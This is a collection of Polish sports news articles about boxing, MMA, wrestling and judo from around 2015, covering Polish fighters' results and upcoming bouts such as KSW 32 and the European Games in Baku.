W Monachium Sęk wystąpił w walce wieczoru. Początkowo szalał rywal. Isufi starał się zdominować Polaka i narzucić swoje warunki. 25-letni pięściarz starał się straszyć Sęka prawą ręką, jednak 28-latek był czujny. Od czasu do czasu Sęk decydował się na przeprowadzenie kontrataku – celne ciosy na korpus hamowały zapędy Albańczyka. Isufi rozpoczął mocno i zdecydowanie, chciał zaskoczyć rywala, ale nie przewidział jednego. Walka miała trwać dwanaście rund, a rywal Polaka już w piątej rundzie wyglądał kiepsko. Z upływem kolejnych minut było widać coraz większe braki kondycyjne u 25-latka. Sęk wykorzystał słabość rywala. W rundzie szóstej Polak rozpoczął zmasowany atak, a w siódmej kontynuował swoje dzieło. Isufi wyglądał coraz gorzej. Zakrwawiony nos, rozbita twarz i coraz większa ilość krwi. W ósmej rundzie pojedynek zakończył się. Konieczna była konsultacja lekarska, Isufi nie wyglądał dobrze. Narożnik Albańczyka zdecydował, że lepiej będzie przerwać walkę.

Tytuł dla Polaka

Sęk w końcu wygrał w Niemczech. Przygotował się dobrze do walki, dał wyszaleć się rywalowi, a następnie zrobił swoje. Polski pięściarz w ósmej rundzie mógł cieszyć się ze zwycięstwa. Dodatkowo Sęk wywalczył regionalny pas WBC EPGC wagi półciężkiej.

fot. tarnow.net.pl

KM

Joshua oddala się od Wacha

Wrzesień miał być miesiącem weryfikacji możliwości Mariusza Wacha. Polski ciężki miał stanąć przed trudnym wyzwaniem. „Viking” był wymieniany w gronie kandydatów do walki z utalentowanym Anthony’m Joshuą. Czy do pojedynku dojdzie?

Polak po dwuletniej absencji powrócił na ring. Początkowo potrzebował pojedynków, które pomogłyby mu na nowo wejść w świat boksu. Chodziło o odpowiednie wprowadzenie, złapanie rytmu i wyrobienie kondycji. Cztery walki w zupełności wystarczą. Po ostatnim pojedynku z Konstantinem Airichem, który Wach zakończył w szóstej rundzie zaczęły pojawiać się głosy mówiące o tym, że nadszedł czas, aby Polak w końcu wszedł na wyższy poziom.

Herbata po angielsku

Trzeba o tym pomyśleć. Najlepiej zaparzyć herbatę, usiąść i przedyskutować sprawę. W angielskim stylu. Czy trzeba aż tyle zachodu? Mariusz Wach jest w takim miejscu swojej kariery, że warunków dyktować raczej nie może. Obecnie walka o mistrzostwo świata mu nie grozi, ale jest bokserem, który może walczyć jeszcze kilka dobrych lat. A ambicje Wach ma większe niż kolejne pojedynki w Polsce. Po starciu z Airichem pojawiły się głosy, że „Viking” przejdzie weryfikację w rywalizacji z Anthony’m Joshuą.

Polak miał stanąć w ringu 12 września, aby stoczyć pojedynek z nadzieją brytyjskiego boksu. Z upływem kolejnych dni wydaje się, że starcie jest coraz mniej realne. Prawdopodobnie Joshua we wrześniu będzie walczył z Gary’m Cornishem. Nie ma, co ukrywać, że akcje Szkota stoją wyżej niż Wacha. Joshua jest na najlepszej drodze, aby wejść do czołówki wagi ciężkiej, ale musi to po raz kolejny potwierdzić. Brytyjczyk chciałby również rywalizować z Dillianem Whytem, jednak byłyby to bardziej pojedynek na podłożu osobistym. Panowie spotkali się w czasach amatorskich. Whyt wygrał i teraz po raz kolejny chciałby udowodnić swoją wyższość. – Gary Cornish to bardzo dobry rywal. Szkot jest silny i potrafi boksować. Początkowo staraliśmy się zorganizować walkę z Dillianem. Rywalizowaliśmy w czasach amatorskich i teraz Whyt chce również spróbować swoich sił. Być może będzie to kolejny krok w mojej karierze – tłumaczy Joshua.

Zatem wizja rywalizacji Wacha z nadzieją brytyjskiego boksu oddala się. Prawdopodobnie we wrześniu Joshua zmierzy się z Cornishem.

Plany Wacha

Co w takiej sytuacji czeka polskiego pięściarza? Warto po raz kolejny podkreślić, że czas przystosowania po powrocie na ring już minął. Wach powinien stoczyć pojedynek z wartościowym rywalem, aby można było określić jego obecną formę i możliwości. Niewykluczone, że Polak będzie miał okazję odbyć ciekawą walkę w kraju. Pojawiały się głosy na temat ewentualnego starcia z Marcinem Rekowskim bądź Andrzejem Wawrzykiem. Na ile to możliwe, trudno ocenić. Obecnie wiadomo, że walka z Joshuą oddala się.

KM

Oni wiedzą jak to się robi

Igrzyska Europejskie odbyły się pierwszy raz w historii. W Baku Polska wywalczyła dwadzieścia medali. Z dobrej strony pokazali się zapaśnicy i bokserzy, którzy solidnie zapracowali na dorobek biało-czerwonych.

Nie udało się zdobyć złota. Polskie sporty walki w Baku nie sięgnęły po krążek z najcenniejszego kruszcu. Mimo to dorobek naszych fighterów jest powodem do dumy. Dziesięć z dwudziestu medali reprezentantów Polki jest ogromnym osiągnięciem.

Przez Baku do Las Vegas

Zapaśnicy w tym roku będą również walczyli w mistrzostwach świata. Za rok Igrzyska Olimpijskie w Rio de Janeiro. Jeśli poziom zostanie utrzymany to w zapasach możemy być spokojni o medale. Tegoroczne starty dawały nadzieję na dobre występy naszych reprezentantek w Baku, jednak panowie również błysnęli formą.

Roksana Zasina szła jak burza w kategorii 53kg. W ćwierćfinale efektownie rzuciła na plecy Liliję Horoszinę i zmierzała do finału. W walce o złoto zmierzyła się z zawodniczką gospodarzy – Anzhelą Dorogan. Zasina zatrzymała się dopiero na reprezentantce Azerbejdżanu, ale srebrny medal jest ogromnym sukcesem w wykonaniu naszej zapaśniczki. Drugie miejsce w kategorii 55kg zajęła Katarzyna Krawczyk. Polka w drodze do finału pokonała m.in. mistrzynię Europy z 2011 roku Mathilde Riviere. O złoto Krawczyk rywalizowała z utytułowaną Szwedką Sofią Mattsson i musiała uznać wyższość rywalki. W kategorii 48kg po brązowy medal sięgnęła Iwona Matkowska. Polka w ćwierćfinale przegrała z Mariją Stadnik, co pozbawiło ją szans walki o złoto. W finale pocieszenia Matkowska pewnie wygrała z Julie Sabatie.

Magomedmurad Gadzhiev w stylu wolnym w kategorii 70kg walczył o złoto. W półfinale już w pierwszej rundzie odprawił Gruzina Dawitem Tlaszadzem, a w decydującym pojedynku stanął przed trudnym wyzwaniem. Rywalizacja z Magomedrasulem Gazimagomedowem nie zakończył się po myśli Gadzhieva, który musiał zadowolić się srebrnym krążkiem. Po dramatycznej walce brązowy medal zdobył Radosław Marcinkiewicz. Polak w stylu wolnym w kategorii 86kg do ostatnich sekund walczył o sukces. Nurmagomed Kuadżijew długo nie mógł uwierzyć, że dał sobie wyrwać medal.

Medale w boksie

Okazuje się, że boks amatorski żyje. Zapomniany i zaniedbany dał o sobie znać. Nasi bokserzy pokazali, że stać ich na zdobywanie medali na najważniejszych imprezach. Cztery krążki  wywalczone w Baku pokazują potencjał tkwiący w polskim pięściarstwie. Ciężkie treningi, upór i ambicja zawodników dały efekt. Sandra Drabik w kategorii 51kg sięgnął po srebrny medal. Trzy brązowe krążki były udziałem: Aneta Rygielska (64kg), Lidia Fidura (75kg)i Mateusz Polski (60kg).

Dorobek polskich fighterów wzbogacił jeden medal zdobyty w taekwondo. Celne ciosy doprowadziły Karola Robaka do drugiego miejsca w kategorii 68kg.

KM

Conor oszalał

Różne przypadki bywają. Z pewnością Conor McGregor jest wyjątkowy. Irlandczyk ma ogromny potencjał w MMA, co potwierdza w kolejnych walkach, ale dominuje nie tylko na płaszczyźnie sportowej. McGregor lubi robić zamieszanie wokół siebie i zaskakiwać .

Irlandczyk jest niezwykle ekspresywny. Po wygranym pojedynku z Dennisem Siverem przeskoczył przez siatkę i chciał sprowokować Jose Aldo. Mistrz UFC w wadze piórkowej tylko się uśmiechnął. A McGregor po raz kolejny zrobił show, co było powodem do kolejnych dyskusji.

Poczeka na Aldo           

Napięcie stopniowo rosło i miało dojść do eksplozji, jednak wybuch trzeba odłożyć na później. Oczekiwana walka Jose Aldo z McGregorem nie dojdzie do skutku z powodu kontuzji brazylijskiego zawodnika. Podczas gali UFC 189 wojownik z Irlandii zmierzy się z Chadem Mendesem. Walka z Aldo byłaby prawdziwym hitem, w którego promocję organizatorzy włożyli wiele wysiłku, jednak uraz żeber fightera z Kraju Kawy oddalił wizję fenomenalnego pojedynku. Rywalizacja McGregora z Mendesem będzie tylko gorzką osłodą.

Stawką rywalizacji będzie tytuł tymczasowego czempiona UFC w wadze piórkowej. Mendes po raz kolejny stanie przed szansą na wywalczenie pasa. Wcześniejsze próby kończyły się dla 30-latka porażkami. Mendes miał okazję dwukrotnie walczyć o tytuł i oba pojedynki przegrał z Jose Aldo. Tym razem stanie do rywalizacji z McGregorem. Czy za trzecim razem osiągnie sukces? Może to być trudne, bardzo trudne, a nawet niewykonalne. Nie ma co ukrywać, że McGregor jest fighterem z krwi i kości, który jest zdeterminowany, aby odnieść sukces. Można o nim powiedzieć, że jest typem showmana i robi wokół siebie wiele zamieszania, ale odmówić mu umiejętności sportowych byłoby grzechem. McGregor spełnia wszystkie warunki, aby zostać mistrzem.

Obaj stoczyli w MMA po dziewiętnaście pojedynków. Taki sam bilans – siedemnaście zwycięstw i dwie porażki. Z jedną, bardzo ważną różnicą. McGregor ostatnią porażkę zanotował prawie pięć lat temu, a Mendes w październiku 2014 roku. Irlandczyk odniósł trzynaście zwycięstw z rzędu. Kto będzie lepszy 11 lipca w Las Vegas?

Dawaj na ring

McGregor lubi na siebie zwracać uwagę, to nie ulega wątpliwości. Wszyscy zdążyli się już przyzwyczaić do tego, że ciągle powtarza swoją wyjątkowość. McGregor chciałby zmierzyć się z mistrzem wagi średniej w boksie Floydem Mayweatherem Jr. Temat pojawił się już kiedyś, wtedy McGregor mówił o walce na zasadach MMA. Czas szybko biegnie i „Money” prawdopodobnie 12 września stoczy ostatni pojedynek w swojej karierze. McGregor doskonale wie, że trudno byłoby pokonać Amerykanina w walce bokserskiej. –Konieczna jest konfrontacja dwóch różnych dyscyplin. W boksie nie ma szans, żeby pokonać Mayweathera. Gdybyśmy się spotkali, na pewno jego również bym rozmontował – powiedział Irlandczyk.

KM

Pudzian doczekał się

Na rywala, z którym zmierzy się podczas gali KSW 32 na Wembley. Mariusz Pudzianowski będzie rywalizował z dobrze znanym polskim kibicom – Peterem Grahamem.

„Pudzian” po ostatnim efektownym występie rozbudził apetyty wszystkich. Mówiło się, że kolejnym wyzwaniem będzie zawodnik z Anglii, jednak ostatecznie zakontraktowano doświadczonego Australijczyka. Graham dwukrotnie walczył na galach KSW.

Czy to wyzwanie?

Zawsze będą obiekcje, aby nazwać Pudzianowskiego zawodowym fighterem. Wszyscy doskonale pamiętają go z występów w rywalizacji strongmanów. KSW wykorzystało popularność „Pudziana” do promocji produktu, co przyniosło pożądany efekt. Warto nadmienić, że postępy 38-latka w świecie MMA są widoczne. Ciężkie treningi Pudzianowskiego pozwoliły mu wykonać krok, a nawet dwa do przodu. Polak nie jest już tak chaotyczny i nie rzuca ciosami na prawo i lewo. Ostatni pojedynek z Rollesem Gracie pokazał, że Pudzianowski jest groźny. Ma ważny atut w postaci siły, a dodatkowo nie unika walki i szuka kontaktu z przeciwnikiem.

„Pudzian” wygrał cztery ostatnie pojedynki. Po morderczym boju okazał się lepszy od Pawła Nastuli, czym pokazał, że w Polsce jest jednym z najlepszych fighterów w wadze ciężkiej. Gracie został znokautowany w efektownym stylu, a zachwytom nie było końca. Teraz kolejnym wyzwaniem, przed którym stanie Polak będzie Peter Graham. Tu pojawia się pewny znak zapytania. Czy Australijczyk jest w stanie zagrozić Pudzianowskiemu?

Graham najlepsze czasy ma już dawno za sobą. Australijczyk występował na galach Bellatora, AFC czy Draka. Trzeba zauważyć, że w ostatnim czasie radzi sobie coraz gorzej, a nawet słabo. Graham przypomina zawodnika nieco ociężałego, przez co jest niezwykle powolny. Od listopada 2013 roku stoczył pięć walk i cztery z nich przegrał. Zwyciężył w starciu z Marcinem Różalskim, przez błąd i kontuzję polskiego fightera. Podczas KSW 31 decyzją sędziów przegrał z Karolem Bedorfem. „Coco” zdominował Australijczyka, jednak ten w trzeciej rundzie postanowił zaatakować, jednak nie zaszkodził naszemu zawodnikowi.

„Pudzian” lepszy

Na obecną chwilę wyżej stoją akcje Pudzianowskiego. Polak robi postępy i nie walczy już jako celebryta. Rywalami „Pudziana” są fighterzy, którzy mają określone umiejętności. Tak też jest w przypadku Grahama, jednak ten najlepszy czas ma już za sobą. Obaj są w podobnym wieku, Australijczyk jest rok starszy -39 lat.

Jeden celny cios Polaka może zadecydować o wszystkim. Graham jest zawodnikiem, który walczy spokojnie i szuka okazji do ataku. Pudzianowski potrafi się niespodziewanie zerwać i zaskoczyć swojego rywala. Jeśli kondycyjnie będzie dobrze przygotowany, pokonanie Grahama nie powinno stanowić dla niego problemu.

Kto jeszcze?

Gala KSW 32 na Wembley odbędzie się 31 października. W jednej z walk zaprezentują się zawodnicy, którzy musieli uznać wyższość Mameda Khalidova. Starcie Bretta Coopera i Maiquela Falcao może okazać się pasjonujące. Oli Thompson zmierzy się z Michałem Włodarkiem. Rafał Moks postara się pokonać Jima Wallheada, w efektownym stylu chce wrócić Marcin Różalski, którego rywalem będzie James McSweeney. O pas z Borysem Mańkowskim zmierzy się Michail Tsarev.

KM

Sukces młodej zapaśniczki

Polskie zapasy wyglądają coraz lepiej. Zarówno w rywalizacji seniorów jak i juniorów. Dobry występ naszych reprezentantek podczas Igrzysk Europejskich w Baku daje ogromny zastrzyk optymizmu względem przyszłorocznego startu w Rio de Janeiro. Na poziomie juniorskim też się dzieje.

Co prawda ilość na kolana nie powala, ale jak ktoś, kiedyś słusznie zauważył – jakość się liczy. Nie ma sensu dyskutować, czy mogło być lepiej czy gorzej. Pewne rzeczy trzeba przyjąć, zaakceptować i patrzeć do przodu. Z nadzieją na kolejne starty zerka Dominika Szynkowska. Zapaśniczka jako jedyna z reprezentantów Polski sięgnęła po medal mistrzostw Europy juniorów.

Cenny brąz

Dominika Szynkowska w juniorskim czempionacie zajęła trzecie miejsce, co jest ogromnym dokonaniem w karierze naszej zawodniczki. Początek rywalizacji w Stambule wcale nie zapowiadał, że Polka skończy zawody w czołówce. Szynkowska, która startowała w kategorii 48kg w ćwierćfinale mistrzostw Europy trafiła na zdolną Mołdawiankę Doinę Roscovanu. Polka nie poradziła sobie ze swoją rywalką, jednak walczyła ambitnie. Szynkowska zaprezentowała się dobrze i nie zniechęciła się po porażce w ćwierćfinale. Kolejną przeciwniczką była Annika Wendle. W repasażach Polka okazała sie lepsza od zawodniczki z Niemiec, co dało jej możliwość rywalizacji o medal. Szynkowska musiała pokonać Silje Kippernes, aby stanąć na podium mistrzostw Europy. Zawodniczka z Kraśnika wykonała zadanie i wygrała 9:7 i mogła cieszyć się z brązowego medalu. W rywalizacji w kategorii 48kg startowało trzynaście zawodniczek. Warto wspomnieć, że Doina Roscovanu, która pokonała Polkę w ćwierćfinale została wicemistrzynią Europy. Tytuł wywalczyła Milana Dadasheva.

Podium było blisko

Blisko medalu był Krzysztof Sadowik, który startował w kategorii 84kg w stylu wolnym. Polak został sklasyfikowany na piątym miejscu. Sadowik rywalizację w Stambule rozpoczął od pojedynku z Iliasem Kidrosem. Grek starał się, ale nie był w stanie przeciwstawić się naszemu zawodnikowi i przegrał 1:4. Kolejną przeszkodą na drodze Polaka był Evelin Rusev. Pojedynek z Bułgarem do łatwych nie należał, jednak zakończył się po myśli Sadowika, który odważnie zmierzał w kierunku podium. W półfinale nasz zapaśnik trafił na Gadzhina Radzhabova. Reprezentant Rosji nie pozostawił Polakowi złudzeń, kto jest lepszy. Radzhabov rozbił Sadowika w pył, jednak nasz zapaśnik nadal miał szansę na medal. Walka o brąz również nie potoczyła się po myśli polskiego zawodnika, który poniósł porażkę w starciu z Ghadzhimuradem Magomedsaidovem.

Dobry występ w kategorii 50kg w stylu wolnym zaliczył Robert Dobrodziej. O złoty medal mistrzostw Europy w tej wadze walczyło trzynastu zawodników. Polak pewnie wygrał z Dardanem Sylą, jednak w kolejnej walce poległ w rywalizacji z Bekirem Sahinem i ostatecznie zajął siódme miejsce. Na ósmej pozycji sklasyfikowana została Natalia Strzałka. Polka w kategorii 72kg wygrała jedną walkę, ale dwie przegrała.

Ze Stambułu do Polski przyleci jeden medal – brązowy. Polacy w Turcji zaznaczyli swoją obecność i zyskali cenne doświadczenie, co z pewnością pozwoli im wyciągnąć odpowiednie wnioski i naprawić błędy.

KM

Kadeci powalczą o medale

Tym razem nie seniorzy, a kadeci będą walczyli o najwyższe laury. W mistrzostwach Europy wystartuje osiemnastu naszych reprezentantów.

Rywalizacja w Sofii będzie trwała trzy dni. W stolicy Bułgarii zaprezentują się: Paulina Szlachta (44kg), Natalia Kropska (48kg), Aleksandra Kaleta i Vanessa Machnicka (52kg), Anna Dąbrowska, Katarzyna Szymańska (obie 57kg), Barbara Kulik i Eliza Wróblewska (63kg), Paulina Dziopa (70kg), Michał Michalski (60kg), Jędrzej Stecki i Cezary Tchórzewski (66kg), Maciej Krogulski oraz Przemysław Kruczborski (73kg), Iwo Baraniewski (81kg), w kategorii 90 kg – Paweł Kejza i Eryk Ryciak, Krzysztof Zaleczny (+90kg).

Na początek

Pięcioro naszych zawodników start w Sofii ma już za sobą. Pierwszego dnia rywalizacji na tatami zaprezentowały się judoczki w kategoriach 40, 44,48 i 52kg oraz judocy w 50, 55 oraz 60kg. Niestety, na medal trzeba jeszcze poczekać.

Najwyżej sklasyfikowana została Natalia Kropska (44kg), która w pierwszym pojedynku spotkała się z Martiną Zamponi. Polka dobrze rozpoczęła udział w mistrzostwach Europy pokonując Włoszkę, jednak w kolejnym starciu trafiła na Blandine Pont. Francuzka okazała się przeszkodą nie do przejścia. Polka w repasażach musiała stawić czoła Natalii Roda Casado. Hiszpankę pokonała, jednak zatrzymała się na Yasmin Javadian.

Paulina Szlachta (44kg) stoczyła w Sofii zaledwie jedną walkę. Polkę szans na rywalizację o medale pozbawiła Lois Petit. Michał Michalski, który startował w kategorii 60kg zawody rozpoczął udanie. Polak wyeliminował z mistrzostw Austriaka Marvina Puma. Michalski okazał się bezsilny w starciu z Ismayilem Ibrahimovem, który sięgnął po brązowy medal. Polak miał jeszcze szansę przebić się w repasażach, jednak Luukas Saha odprawił naszego zawodnika wygrywając pojedynek.

Po medale

Nadzieja nadal pozostaje. Czy naszych judoków stać na zdobycie medali podczas mistrzostw Europy kadetów? Tegoroczne starty pozwalają wierzyć w optymistyczny scenariusz. W Pucharze Europy w Kluż-Napotka z dobrej strony pokazał się Eryk Ryciak (90kg), który sięgnął po srebrny medal. Polak dał jasny sygnał, że ma potencjał, ale czy będzie w stanie powtórzyć tak dobry występ w zawodach o randze mistrzostw Europy? W Otwartym Pucharze Europy w Teplicach, gdzie zjechało się ponad siedmiuset judoków po brązowe medale sięgnęły Anna Dąbrowska (57kg) oraz Barbara Kulik (63kg). Vanessa Machnicka w Sofii startuje w rywalizacji kadetów, jednak w tym roku sięgnęła po brązowy medal w Pucharze Europy Juniorów i Juniorek w Atenach. Polacy startują w międzynarodowych turniejach i zdobywają cenne doświadczenie. Trudno mówić o regularności, jednak w poszczególnych zawodach nasi judocy udowadniają, że stać ich na wiele. Czy po starcie w Sofii nadal będzie można tak mówić?

Bez Polaków w Mongolii

Z kolei seniorzy będą rywalizować w zawodach Grand Prix w Ułan Bator. Dla wielu zawodników to kolejna możliwość zdobycia punktów do rankingu klasyfikacji olimpijskich. Polacy nie startują.

KM

Polki zdominują UFC?

Joanna Jędrzejczyk stała się gwiazdą najlepszej organizacji mieszanych sztuk walki na świecie.27-letnia fighterka jest mistrzynią UFC w wadze słomkowej. Czy dołączy do niej Karolina Kowalkiewicz?

Zawodniczka Gracie Barra Łódź jest obecnie najlepszą fighterką w kraju. Kowalkiewicz nie ukrywa, że jej ambicją pozostaje walka o najwyższe cele i nie wyklucza podróży za ocean. Już kilka miesięcy temu na antenie telewizji Fightime mówiła, że chętnie zmierzyłaby się w pojedynku z Joanną Jędrzejczyk.

Kiedy na podbój UFC?

Kowalkiewicz jest gwiazdą KSW i zarazem jej najpiękniejszą twarzą. Zawodniczka wielokrotnie udowodniła, że obecnie jest najlepsza w kraju i na kolejnych galach potwierdza swoją wartość. Czy nadszedł już czas na rozwój kariery zagranicą? Warto przypomnieć, że Kowalkiewicz nie walczyła tylko i wyłącznie w Polsce.

W listopadzie 2014 roku 29-letnia zawodniczka wystąpiła na gali Invicta FC 9. Kowalkiewicz toczyła wyrównaną walkę przez trzy rundy z Mizuki Inoue i decyzją sędziów wygrała pojedynek. Polka pokazała się z dobrej strony, przekładając dobre występy w kraju na sukces zagranicą. Kowalkiewicz chce pokonać kolejny stopień w karierze i spróbować swoich sił w UFC. Ponoć debiut zawodniczki z Łodzi w najlepszej organizacji mieszanych sztuk walki na świecie możliwy jest już w tym roku.

W drodze po pas

Czy dwie Polki zawojują UFC? Joanna Jędrzejczyk jest posiadaczką mistrzowskiego pasa w wadze słomkowej, a w ostatniej walce udowodniła swoją wartość rozbijając w pył Jessicę Penne. W tej samej kategorii występuje Karolina Kowalkiewicz. Start łodzianki w UFC byłby więc szansą na pojedynek polsko-polski. Jędrzejczyk prezentuje wysoki poziom i wydaje się, że w obecnej chwili nie ma rywalki, która byłaby jej w stanie zagrozić. Pojedynek dwóch Polek z pewnością dostarczyłby wielu emocji. Rywalizacja Jędrzejczyk i Kowalkiewicz jest jedną z walk, której oczekują kibice. Z utęsknieniem fani MMA czekają na starcie Mameda Khalidova z Michałem Materlą, jednak rywalizacja olsztynianki i łodzianki jest również pożądana.

Należy uzmysłowić sobie jedną istotną sprawę. Przed Karoliną Kowalkiewicz długa droga, aby doprowadzić do starcia z Jędrzejczyk. Obie zawodniczki są w zupełnie innym miejscu swoich karier. Najpierw Kowalkiewicz musi trafić do UFC i pokazać tam, że osiągnęła odpowiedni poziom sportowy, aby rywalizować z najlepszymi. Patrząc na rozwój Jędrzejczyk można wysnuć wniosek, że ciężka praca, konsekwencja oraz dążenie do celu jest drogą do osiągnięcia sukcesu.

Polska mistrzyni UFC w swoim trzecim występie w najlepszej organizacji świata stanęła do walki o pas. Po dziewięciu miesiącach od debiutu dostała szansę rywalizacji o tytuł. Jeśli Kowalkiewicz trafi do UFC, możliwe, że Polki staną w oktagonie już w przyszłym roku. Czy zawodniczki znad Wisły zdominują wagę słomkową?

KM

Grand Prix w judo: rosyjscy mistrzowie olimpijscy w Mongolii.

Grand Prix w judo: rosyjscy mistrzowie olimpijscy w Mongolii
Wszyscy trzej rosyjscy mistrzowie olimpijscy w judo z Londynu, zostali zgłoszeni do Grand Prix w Ułanbator. W bardzo silnym składzie wystąpi też Mongolia. Na transmisje w telewizji FightKlub zapraszamy w dniach 3-5 lipca od godziny 10:00.

Rosja wystawia trzech znakomitych zawodników, złotych medalistów IO 2012 – Arsena Galstyana (-60 kg), Mansura Isaeva (-73 kg) i Tagira Khaibulaeva (-100 kg), który rok temu wygrał silnie obsadzone zawody w mongolskiej stolicy. W porównaniu z Igrzyskami w Londynie, kategorię wagową zmienił Arsen Galstyan i obecnie startuje w -66 kg. Rosjanie w tej wadze są potęgą – tydzień temu Mistrzem Europy i jednocześnie zwycięzcą Igrzysk Europejskich został Kamal Khan-Magomedov, a brązowy medal zdobył Mikhail Pulyaev.

Do turnieju GP w Ułanbator, zaliczanego do kwalifikacji olimpijskich i cyklu IJF Tour, zgłosiło się ponad 200 zawodniczek i zawodników z 36 państw, w tym duża grupa Europejczyków. Polaków tym razem nie będzie, ale już za 2 tygodnie nasi widzowie zobaczą Łukasza Błacha (-81 kg), Jakuba Wójcika (-100 kg) i Macieja Sarnackiego ( 100 kg) w prestiżowym Grand Slamie w Tiumeniu (Rosja).

W Mongolii nie zabraknie polskich akcentów, gdyż rywalizować będą Szwedzi Martin i Robin Packowie, których rodzice są Polakami, a oni obaj dobrze mówią w naszym języku. Męska kadra Szwecji fatalnie spisała się w Baku, więc jest okazja do szybkiej rehabilitacji. Ciekawy zespół przysyłają Japończycy na czele z Hifumi Abe (-66 kg), typowanym na następcę Masashiego Ebinumy, 3-krotnego Mistrza Świata i brązowego medalisty Olimpijskiego z Londynu. Kanadyjczycy szykują się do organizowanych w tym kraju PanAmerica Games, a tymczasem dwaj czołowi judocy – medalista IO i MŚ Antoine Valois-Fortier (-81 kg) oraz Kyle Reyes (-100 kg) wybrali turniej w Mongolii. W ekipie gospodarzy nie zabraknie takich sław jak Tsagaanbaatar Khashbaatar (-66 kg) i Boldbaatar Ganbat (-60 kg), ale nie ma Mistrzyni Świata 2013 Urantsetseg Munkhbat.

W puli nagród jest 100 tys. dolarów – 3 tys. za 1 miejsce, 2 tys. za 2 i 3 tys. za 3. Zwycięzcy poszczególnych kategorii wagowych otrzymają 300 punktów do rankingu.

Źródło: materiały prasowe

Polskie boje

Zapowiada się ciekawa jesień w polskim boksie. Początkowo wszystkich zaskoczyła informacja o możliwym starciu Tomasza Adamka z Przemysławem Saletą. Okazuje się, że nie tylko weterani wagi ciężkiej pojawią się w ringu.

Rozmowy na temat walki pomiędzy Mateuszem Masternakiem, a Krzysztofem Włodarczykiem nabierają tempa. Okazuje się, że porozumienie jest coraz bliżej. Na drodze do pojedynku stoją ponoć pieniądze.

O prymat

Dzieli ich sześć lat, na gruncie bokserskim również widać różnice. „Diablo” to były mistrz świata organizacji WBC wagi junior ciężkiej, „Master” jeszcze nie dostąpił zaszczytu walki o tytuł. Przez kilka ostatnich lat we Włodarczyku widziano nadzieję polskiego pięściarstwa. 34-letni bokser był przez długi czas jedynym polskim mistrzem świata, jednak i jego panowanie dobiegło końca. W życiu prywatnym „Diablo” miał również problemy, które po części wpłynęły na jego formę. Włodarczyk długo będzie wracał wspomnieniami do 27 września 2014 roku, kiedy stracił pas WBC na rzecz Grirogija Drozda. Na ringu w Moskwie zobaczyliśmy innego „Diablo”. Stłamszonego, powolnego i zagubionego. Rosjanin wykorzystał atut własnego terenu, był pewny siebie, co dało mu zwycięstwo. Włodarczyk liczył na rewanż, jednak w ostatniej chwili musiał wycofać się. Z powodu choroby nie był w stanie pojawić się w ringu. Zastąpił go Łukasz Janik, który walkę przegrał. „Diablo” nie walczył od dziewięciu miesięcy.

Inaczej jest z Masternakiem, który w tym roku pojawił się w ringu dwukrotnie. „Master” mógł, a nawet powinien być w innym miejscu swojej kariery. Dobra postawa w ringu oraz czyste umiejętności nakazywały twierdzić, że 28-latek spokojnie powinien walczyć o mistrzostwo świata. Pojawiał się temat walki z Denisem Lebiediewem, ale wtedy „Master” niespodziewanie przegrał z Yourim Kalengą. Od tego feralnego wydarzenia wygrał trzy walki m.in. pokonując Jeana Marca Mormecka. Pecha miał w czerwcowym starciu z Johnny’m Mullerem, kiedy to w ringu był lepszy, ale decyzja sędziów była inna.

We wrześniu w Łodzi miałoby dojść do starcia Włodarczyka i Masternaka. Pojedynek pozwoliłby na wyłonienie najlepszego polskiego zawodnika w wadze junior ciężkiej. Dla jednego z pięściarzy mogłaby być to trampolina, a dla drugiego upadek. Obozy pięściarzy prowadzą negocjacje. Jeśli osiągną porozumienie na jesieni może dojść do prawdziwej bitwy.

Stare lisy

Wydaje się to nierealne i nieprawdopodobne. Tomasz Adamek po porażce z Arturem Szpilką mówił o zakończeniu kariery, ale chce jeszcze raz wejść do ringu i pożegnać się z kibicami. Jego rywalem ma być były kickboxer i mistrz Europy w boksie Przemysław Saleta. Dzieli ich aż osiem lat. Saleta po raz ostatni w ringu zaprezentował się ponad dwa lata temu. Wtedy zgotował pożegnanie Andrzejowi Gołocie, którego znokautował w szóstej rundzie. Czy wiekowy Saleta będzie w stanie przeciwstawić się Adamkowi, który ma za sobą dwie porażki – ze Szpilką i Głazkovem?

KM

Francuzi najmocniejsi

Nie udało się. Polscy judocy na Igrzyskach Europejskich w Baku, które zarazem były mistrzostwami Europy nie zdobyli żadnego medalu.

W niedzielę odbyła się rywalizacja drużynowa. Nie wystartowała kadra mężczyzn, ale z nadzieją wszyscy patrzyli na występ reprezentacji kobiet. Zbyt silne okazały się Rosjanki i Węgierki.

Francuzi dominują

Polki znalazły się w trudnej sytuacji. Musiały sobie radzić we cztery, choć rywalki walczyły w piątkę. Powodem takiego stanu rzeczy była absencja Agaty Ozdoby w kategorii 63kg z powodu kontuzji, której Polka doznała w rywalizacji indywidualnej.

Agata Perenc, Arleta Podolak, Katarzyna Kłys i Katarzyna Furmanek musiały podjąć wyzwanie. Już na starcie miały świadomość, że rywalki posiadają przewagę. Polki musiały być precyzyjne, dokładne i nie mogły popełnić błędu. Każde potknięcie przybliżało biało-czerwone do porażki, rywali były w uprzywilejowanej sytuacji – już na starcie prowadziły. Podopieczne Anety Szczepańskiej stoczyły dwa pojedynki. Niestety, oba przegrane.

Wszystko mogłyby wyglądać inaczej, gdyby biało-czerwone walczyły w pełnym składzie. Polki przegrały w ćwierćfinale z Rosją 2:3. W repasażach biało-czerwone trafiły na Węgierki, które dobrze rozpoczęły rywalizację, czym zapewniły sobie zwycięstwo. Polki musiały pogodzić się z drugą porażką, co pozbawiło je szans na medal i zakończyło ich udział w turnieju.

W finale rywalizacji kobiet spotkały się Francuzki i Niemki. Ze złotego medal cieszyły się Trójkolorowe, trzecie miejsce dla Włoszek i Słowenek. U panów również triumfowali Francuzi, którzy w finale uporali się z Gruzinami. Z brązowych medali cieszą się reprezentanci Rosji i Ukrainy.

1/8 nie do przejścia

Polacy w zawodach Pucharu Świata i Grand Prix osiągali dobre wyniki, które nastrajały optymistycznie. W Baku w żaden sposób nie przełożyło się to na sukcesy.

